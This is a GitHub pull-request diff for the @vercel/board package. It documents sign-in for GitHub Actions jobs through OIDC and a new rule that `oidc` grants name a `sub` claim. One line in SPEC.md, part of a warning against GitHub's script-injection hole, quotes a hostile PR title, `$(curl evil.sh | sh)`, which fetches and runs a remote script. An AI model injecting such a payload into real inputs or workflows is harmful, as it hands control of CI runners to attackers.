Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/oidc-grants-name-sub.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
'@vercel/board': minor
---

An `oidc` grant names its tokens' `sub`: `vb grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can 'ci/=post'`. An issuer like GitLab.com signs tokens for everyone it serves, so a grant for `ref=main` let in anyone's job on main, and `sub` is the one claim that says whose a token is. A `sub` that ends in `*` right after a `:` or `/` matches how one starts, so `project_path:acme/api:*` is any job in `acme/api` and none in `acme/api-evil`. A grant without a `sub`, with `sub` `*`, or with a `*` anywhere else in it (`organization:acme*`) is 400 `invalid_grant`; other claims still match exactly and narrow it, and a `*` in them is just a `*`. Grants made before still let in what they did, and a principal without a `sub` can still be removed from one. `subPrefix` from `@vercel/board/access` says what a `sub` pattern matches the start of.
7 changes: 7 additions & 0 deletions .changeset/vercel-board-github-oidc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
'@vercel/board': minor
---

On Vercel's board, a GitHub Actions job goes as its own OIDC token, with no secret to store. In a job with `permissions: id-token: write`, the CLI and `board()` ask GitHub for a token made out to `https://api.vercel.com/v1/messageboard` and send it as a Bearer token: after the login of an app that runs board's CLI, the deployment's OIDC token, `BOARD_TOKEN`, and `VERCEL_AUTH_TOKEN`, and before `vercel login`, so a workflow that already sets `VERCEL_AUTH_TOKEN` keeps acting as that login. `vb whoami` says `source GitHub Actions OIDC`. A GitHub token names no team, so `--scope <team ID>` or `VERCEL_ORG_ID` names it; with neither, a request fails before it's sent with `missing_team` (reason `missing_scope` in the CLI). A 401 to that token says to pass one in `BOARD_TOKEN`, not to log in.

`vb grants create`, `update`, and `explain` with `--github` or `--oidc` go to Vercel's API, which takes them: `vb grants create --github acme/www --git-branch main --can 'ci/=post'`. An API that still refuses one is said in its own words, with no hint of the handle's about apps or exchange policies. A run writes as `github:repo:<repository_id>`, with its repository as its handle, and another issuer's caller as `oidc:<issuer host and path>:<sub>`, with its `sub`; both are of kind `workflow`. One the team's board doesn't let in is told the grant that would, and makes no board.
41 changes: 28 additions & 13 deletions SPEC.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ team. With `BOARD_URL` set, in Node, it's the board at that URL instead
(`http()`, internal too: `src/server/backend-http.ts`), which is `vb serve`'s.
Neither backend is exported: people write `board()`. In a
Vercel deployment it authenticates with the deployment's OIDC token, and
elsewhere with `BOARD_TOKEN` or the Vercel CLI's login, never `VERCEL_TOKEN`. Vercel's API keeps
elsewhere with `BOARD_TOKEN`, `VERCEL_AUTH_TOKEN`, a GitHub Actions job's OIDC token, or `vercel login`, never `VERCEL_TOKEN`. Vercel's API keeps
the board: messages, threads, reactions, labels, a channel's changes,
schedules, files, and watchers, whose matches it wakes the deployment to run.
It doesn't run sync yet: `board({ sync })` on it throws when it binds.
Expand Down Expand Up @@ -258,16 +258,18 @@ checked with `@vercel/board/conformance`.
board by its ID; `api`; `files`, how bytes reach storage) have no public
form, and `team` and `fetch` are `board()`'s. It keeps nothing: its methods
call `/v1/messageboard` as this deployment, with its OIDC token, or as you,
with `BOARD_TOKEN` or the login the Vercel CLI hands it, on the board
with `BOARD_TOKEN` or the login the Vercel CLI hands it, or in GitHub Actions
as the job's run, with its OIDC token for `https://api.vercel.com/v1/messageboard`, on the board
`board({ name, team })` names. Messages, threads, reactions, labels, a channel's changes, schedules,
files (direct uploads too, on URLs the API signs for the bytes' SHA-256),
and watchers work. Vercel's API posts each schedule's sends, so `board()`'s
middleware screens a schedule when it's made. What the API doesn't keep yet
answers 501 `not_supported`: files on a scheduled message and a post's sync
targets. Grants go to the API, which takes no `github` or `oidc`
principal in a grant, or explains one (400 `unsupported_principal`: an app,
which an OIDC exchange policy issues tokens for, stands in); `vercel()`
says the refusals with a hint. It
targets. Grants go to the API, `github` and `oidc` principals included,
and what it refuses is said in its own words. It names a GitHub Actions run
`github:repo:<repository_id>` (handle `owner/repo`) and another issuer's
caller `oidc:<issuer host and path>:<sub>` (handle its `sub`), both of kind
`workflow`. It
runs no sync: `bind` throws for a board with `sync`, `readSource` answers
404 `not_synced_here`, and `typing` reaches no targets. Only a deployment's
own credentials register watchers there: its OIDC token. Its watchers run as
Expand Down Expand Up @@ -662,7 +664,11 @@ talking to.
- **Any other issuer** is trusted only when a grant names it, as an https URL:
board() hands its grants' issuers to its verifier (`board.issuers`). The
board fetches keys only for issuers a grant names, and an `oidc` principal
matches exact claims, at least one. Its principal is `oidc:<issuer host and path>:<sub>`,
matches exact claims, `sub` among them: an issuer signs tokens for everyone
it serves, and its `sub` is the one claim that says whose a token is. A
`sub` that ends in `*` right after a `:` or `/` matches how one starts
(`project_path:acme/api:*`), and a `*` anywhere else in it is refused.
Its principal is `oidc:<issuer host and path>:<sub>`,
with a `:` or `%` in the issuer part percent-encoded
(`oidc:ci.test%3A8443:<sub>`), so the ID ends its issuer at the first `:`.
- **Tests** pass `board({ authenticate: oidcTokens(testIssuers) })` in code,
Expand All @@ -678,7 +684,7 @@ const team = board({ backend: local() })

await team.createGrant({ principals: [{ kind: 'project', project: 'prj_front', environments: ['production'] }], can: { 'feedback/': ['post'] } })
await team.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', event: 'push' }], can: { 'ci/': ['read', 'post'] } })
await team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }], can: { 'ci/': ['post'] } })
await team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } }], can: { 'ci/': ['post'] } })
// On a production board, its own previews read dev/.
await team.createGrant({ principals: [{ kind: 'project', project: 'prj_self', environments: ['preview'] }], can: { 'dev/': ['read'] } })
```
Expand Down Expand Up @@ -903,7 +909,7 @@ await team.revokeGrant(grant.id)
- **Principals.** `user` (a person on the team), `project` (a project's
deployments in its environments), `github` (Actions runs in a repository,
narrowed by workflow, branch, or event),
and `oidc` (an issuer's tokens carrying every claim it names) are one
and `oidc` (an issuer's tokens carrying every claim it names, `sub` always) are one
principal each, and so is `app` (an app on the team, named by slug or client
ID and kept by client ID). `all-users` (every person on the team),
`all-projects` (every project on the board's team, in production, preview,
Expand Down Expand Up @@ -2039,12 +2045,16 @@ const reply = await team.wait({ re: msg.id, after: msg.id }, { timeout: '30m' })
`name` names on the team `team` names, on `vercel()`, with
`board({ fetch })`'s credentials when it's given. In Node they default to
the deployment's OIDC token, which nothing in the environment replaces, or else `BOARD_TOKEN`, then the
login a CLI hands it (`VERCEL_AUTH_TOKEN`) or your `vercel login`, never `VERCEL_TOKEN`. A CLI
login a CLI hands it (`VERCEL_AUTH_TOKEN`), then a GitHub Actions job's OIDC token (both
`ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` set, audience
`https://api.vercel.com/v1/messageboard`), sent as it is, then your `vercel login`, never `VERCEL_TOKEN`. A CLI
that embeds board's says who its commands run as: the login it gives (`createApp({ login })`, or
`createApp({ token })` for one someone passed it for a run, as `vercel board --token`) is the one
that goes, wherever that CLI runs, ahead of them all, so `vercel board` is you, as every `vercel`
command is, and a deployment's project or `BOARD_TOKEN` is `vb`'s to be. The team defaults
to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. With `BOARD_URL` set (in Node),
to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. A GitHub
token names no team, so with none of these a request fails before it's sent (`missing_team`): pass
`--scope <team ID>` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node),
it's that board instead (on `http()`, internal), whatever the name: it
sends a token in the order in [Tokens](#tokens), through Deployment
Protection, and `board({ fetch })` never goes there. The default build, for
Expand Down Expand Up @@ -2403,12 +2413,17 @@ To run triage on the board itself, with nothing kept open between messages, see
permissions:
id-token: write
steps:
- run: npx -y @vercel/board post errors-www "deploy failed: $SHA" --label source=ci
- run: npx -y vercel board post errors-www "deploy failed: $SHA" --label source=ci --scope "$TEAM_ID"
env:
BOARD_URL: https://www.example.com/api/board
TEAM_ID: team_abc123
SHA: ${{ github.sha }}
```

With no Vercel login on the runner, `vercel board` hands board none, so the job's
GitHub token goes (a Vercel CLI release that runs `vercel board` without a login).
A grant lets the repository's runs in, with no secret:
`vercel board grants create --github acme/www --git-branch main --can 'errors-www=post'`.

**Pass event data through `env:`, never as `${{ }}` inside `run:`.** A PR title
like `` $(curl evil.sh | sh) `` executes if it's interpolated into a script.
This is GitHub's classic script-injection hole.
Expand Down
14 changes: 8 additions & 6 deletions packages/board/docs/01-board/01-mounting.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,9 @@ on any backend, and the backend stores. SSE, [the handle](#the-handle),
- **It acts as this deployment, or as you.** In a Vercel deployment it sends
the deployment's OIDC token and writes as its project,
`vercel:project:prj_x:production`. Nothing replaces that token there. Elsewhere it
sends `BOARD_TOKEN`, or else your Vercel CLI login (`VERCEL_AUTH_TOKEN`, or
`vercel login`'s), and writes as whoever that is. It never sends
sends `BOARD_TOKEN`, or else `VERCEL_AUTH_TOKEN`, or else in GitHub Actions
the job's OIDC token (it writes as `github:repo:<repository_id>`, on the team
`VERCEL_ORG_ID` or `team` names), or else your `vercel login`, and writes as whoever that is. It never sends
`VERCEL_TOKEN`, which people set for other reasons. `fetch` sends other credentials.
- **Only a deployment's own credentials register watchers.** Anyone else's
(yours, an app's) answer 403 `watchers_need_project`, and
Expand Down Expand Up @@ -108,7 +109,7 @@ backend:
| Option | What it does |
| --- | --- |
| `backend` | `local()`, or your own. Default: your team's board in Vercel's API, the one `name` names, or in Node with `BOARD_URL` set, the board there, as [the handle](#a-handle-on-a-board-elsewhere) finds it |
| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then `VERCEL_AUTH_TOKEN` or your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it |
| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then `VERCEL_AUTH_TOKEN`, then a GitHub Actions job's OIDC token, then your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it |
| `name` | Which of the team's boards this is, by its name: `security`. Default: the team's default board. See [A board by its name](#a-board-by-its-name) |
| `team` | Whose board this is: another team's, by its ID or slug, with `name` or without it for that team's default board. Default: the team the environment finds |
| `authenticate` | Who a request is. Default `oidcTokens()` from `@vercel/board/access`, which verifies its bearer token for the board's URL. Or a host's own verifier, `(request) => ({ id, kind, handle })`: see [Callers of your own](#callers-of-your-own) |
Expand Down Expand Up @@ -266,9 +267,10 @@ In Node it finds the team and credentials as the Vercel CLI and a deployment
do. The team is `VERCEL_ORG_ID`, the deployment's, or the nearest
`.vercel/project.json`'s, unless `team` says another (`acme`). The
credentials are the deployment's OIDC token, or else `BOARD_TOKEN`, then
`VERCEL_AUTH_TOKEN` or your
`vercel login`, or what `fetch` sends: a deployment writes as its project, and
you as yourself. Its profile is the one `BOARD_PROFILE` names, or none;
`VERCEL_AUTH_TOKEN`, then a GitHub Actions job's OIDC token, then your
`vercel login`, or what `fetch` sends: a deployment writes as its project, a
workflow as its repository's runs, and you as yourself. A GitHub token names
no team, so in Actions `team` or `VERCEL_ORG_ID` names it. Its profile is the one `BOARD_PROFILE` names, or none;
`team.as(null)` acts as yourself.

With `BOARD_URL` set, it's the board at that URL instead, whatever the name:
Expand Down
2 changes: 1 addition & 1 deletion packages/board/docs/01-board/03-identity.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ The CLI and `board()` in Node find a token themselves. The first match wins:
| --- | --- | --- |
| Explicit | `BOARD_TOKEN`: an OIDC JWT for the board's audience, from Vercel, GitHub Actions, or an issuer a grant names; or a placeholder a sandbox's network policy replaces with the real credential | the issuer's |
| A board from `vb serve` | the token it writes to a file only you can read, for its `127.0.0.1` URL | `local:user:<your OS user>` |
| GitHub Actions | the job's OIDC token, for the board's audience; needs `permissions: id-token: write` | `github:repo:<repository_id>` |
| GitHub Actions | the job's OIDC token, for the board's audience (`https://api.vercel.com/v1/messageboard` on Vercel's board); needs `permissions: id-token: write` | `github:repo:<repository_id>` |
| A Vercel deployment | `getVercelOidcToken({ audience })` from `@vercel/oidc`, when `VERCEL=1` | `vercel:project:<project_id>:<env>` |
| A local terminal | your `vercel login`, minted for the board's project and exchanged for its audience | `vercel:user:<user_id>` |
| A board with no Vercel project | no token: the request goes without one, and what verifies the board's callers says who it is. [`vb serve --tailscale`](../03-guides/08-tailnet.md) takes Tailscale's word | `tailscale:user:<login>` there |
Expand Down
13 changes: 11 additions & 2 deletions packages/board/docs/01-board/09-access.md
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@ deployments.
| `vb grants create --everyone --can 'attic/=none' --lock-me-out` | `team.createGrant({ principals: [{ kind: 'everyone' }], can: { 'attic/': 'none' } }, { lockMeOut: true })` |
| `vb grants create --project sec --environment production,preview --can 'security/=read,post'` | `team.createGrant({ principals: [{ kind: 'project', project: 'sec', environments: ['production', 'preview'] }], can: { 'security/': ['read', 'post'] } })` |
| `vb grants create --github acme/web --workflow ci.yml --git-branch main --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', workflow: 'ci.yml', branch: 'main' }], can: { 'ci/': ['post'] } })` |
| `vb grants create --oidc https://gitlab.com --claim project_id=42 --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }], can: { 'ci/': ['post'] } })` |
| `vb grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } }], can: { 'ci/': ['post'] } })` |
| `vb grants create --app ship --can 'ship/=post'` | `team.createGrant({ principals: [{ kind: 'app', app: 'ship' }], can: { 'ship/': ['post'] } })` |
| `vb grants update g5 --add-user carol@acme.com` | `team.updateGrant('g5', { add: [{ kind: 'user', email: 'carol@acme.com' }] })` |
| `vb grants update g6 --remove-project sec --can 'security/=read'` | `team.updateGrant('g6', { remove: [{ kind: 'project', project: 'sec' }], can: { 'security/': ['read'] } })` |
Expand All @@ -105,7 +105,7 @@ deployments.
| `user` | a person on the team, by `email`, or by `userId` on a board that verifies tokens itself | one principal |
| `project` | a project's deployments in its `environments`, by name or ID (`prj_…`) | one principal |
| `github` | GitHub Actions runs in a `repository`, narrowed by `workflow`, `branch`, or `event` | one principal |
| `oidc` | an `issuer`'s tokens that carry every one of its `claims` | one principal |
| `oidc` | an `issuer`'s tokens that carry every one of its `claims`, `sub` among them | one principal |
| `all-users` | every person on the team | a group |
| `all-projects` | every project's deployments on the board's team, in its `environments` | a group |
| `app` | an app on the team, by its slug or client ID (`clientId` on a board that verifies tokens itself) | one principal |
Expand Down Expand Up @@ -181,6 +181,15 @@ more specific pattern decides first.
`jwks_uri` that's an https URL on the internet, and no redirect is followed.
Every claim must match exactly, and a list is any of its values. Vercel's
and GitHub's issuers have kinds of their own.
- **An `oidc` principal names a `sub`.** An issuer such as GitLab.com signs
tokens for everyone it serves, so a claim like `ref=main` lets in anyone's
job on main. Its `sub` is the one claim unique to a workload, so a grant
names it, and other claims narrow it further. A `sub` that ends in `*` right
after a `:` or `/` matches how one starts: `project_path:acme/api:*` is any
job in `acme/api`, and not one in `acme/api-evil`. A `*` anywhere else in a
`sub` is refused, `*` alone too, and in any other claim it's just a `*`.
A grant made before boards asked for a `sub` still lets in what it did,
and a principal without one can still be removed from it.
- **The same principals again are another grant.** Change one by its ID:
`updateGrant(id, { add, remove, can })` adds principals, removes them by who
they are (a project whatever its environments), and replaces its `can`.
Expand Down
Loading